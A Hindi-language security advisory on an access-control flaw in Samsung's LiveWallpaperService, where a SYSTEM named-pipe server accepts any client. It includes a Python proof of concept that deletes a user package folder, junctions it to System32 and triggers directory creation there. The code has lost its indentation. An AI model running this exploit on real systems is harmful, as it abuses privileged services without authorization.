
LiveWallpaperService में संस्करण 3.0.9.0 से पहले एक अनुचित पहुँच नियंत्रण एक विशिष्ट नामित सिस्टम निर्देशिका को उचित अनुमति के बिना बनाने की अनुमति देता है।
परीक्षण किया गया विंडोज संस्करण: विंडोज 10 20H2 (बिल्ड 19042.1348) 64बिट
लाइव वॉलपेपर संस्करण: 3.0.9.0 या उससे पहले
सैमसंग लैपटॉप में एक LiveWallpaperService डिफ़ॉल्ट रूप से काम करता है, लेकिन एक भेद्यता थी जिसने SYSTEM सेवा में SYSTEM विशेषाधिकारों वाली निर्देशिका में SYSTEM निर्देशिका बनाई।
लाइव वॉलपेपर आमतौर पर सैमसंग लैपटॉप पर डिफ़ॉल्ट रूप से इंस्टॉल होता है, लेकिन यह माइक्रोसॉफ्ट स्टोर से उपलब्ध एक ऐप भी है। ऐप को उपयोगकर्ता अनुमति के साथ चलाया जा सकता है और यह नामित PIPE IPC के माध्यम से सर्वर और क्लाइंट के बीच संचार करता है। इस समय, PIPE सर्वर SYSTEM विशेषाधिकारों के साथ काम कर रहा है और यह जाँच नहीं करता कि क्लाइंट कौन हैं।
निम्नलिखित संचालन प्रक्रिया है जो संबंधित ऐप लॉन्च होने पर की जाती है।
सर्वर को '33;' यूनिकोड स्ट्रिंग प्राप्त होने पर, यह 'C:\Users{username}\AppData\Local\Packages\Sidia.LiveWallpaper_wkpx6gdq8qyz8' फ़ोल्डर तक पहुँचता है और LiveWallpaperData निर्देशिका की उपस्थिति की जाँच करता है। निर्देशिका में 'LiveWallpaperData' नाम से एक नई फ़ाइल सिस्टम निर्देशिका बनाई जाती है।
प्रक्रियाओं के बीच संचार के लिए नामित PIPE का उपयोग किया जाता है। चूंकि कोई अलग क्लाइंट निरीक्षण नहीं है, हमलावर सीधे इसे खोल सकता है और वांछित डेटा भेज सकता है।
पहले, नामित PIPE को सीधे खोलने के बाद, james forshaw द्वारा निर्मित symboliclink-testing-tools का उपयोग करके C:\Windows\System32 पर एक निर्देशिका जंक्शन बनाएँ। इसे विशेषाधिकारों के साथ System32 निर्देशिका की उपनिर्देशिका के रूप में बनाया गया है।
यहाँ उस भेद्यता का PoC है।
PoC निष्पादित करने के लिए, निम्नलिखित शर्तों को पूरा करना होगा:
# python 3.7.2
import os
import shutil
import time
import getpass
def stringToWstring(st : str) -> str:
result = ''
for i in st:
result += i+'\x00'
return result
def main():
# current user name
username = getpass.getuser()
# path settings
path1 = f'C:\\Users\\{username}\\AppData\\Local\\Packages\\Sidia.LiveWallpaper_wkpx6gdq8qyz8'
path2 = 'C:\\Windows\\System32'
# delete directory
if os.path.isdir(path1):
shutil.rmtree(path1)
# create directory junction
command = f'CreateMountPoint.exe "{path1}" "{path2}"'
os.system(command)
# write data to named pipe
with open('\\\\.\\pipe\\LiveWallpaperPipe', 'a') as f:
f.write(stringToWstring('33;'))
# IPC delay time
time.sleep(2)
# directory check
if os.path.isdir(path2+'\\LiveWallpaperData'):
print('[+] Success')
else:
print('[-] failed')
# delete directory junction
command = f'DeleteMountPoint.exe {path1}'
os.system(command)
shutil.rmtree(path1)
if __name__=='__main__':
main()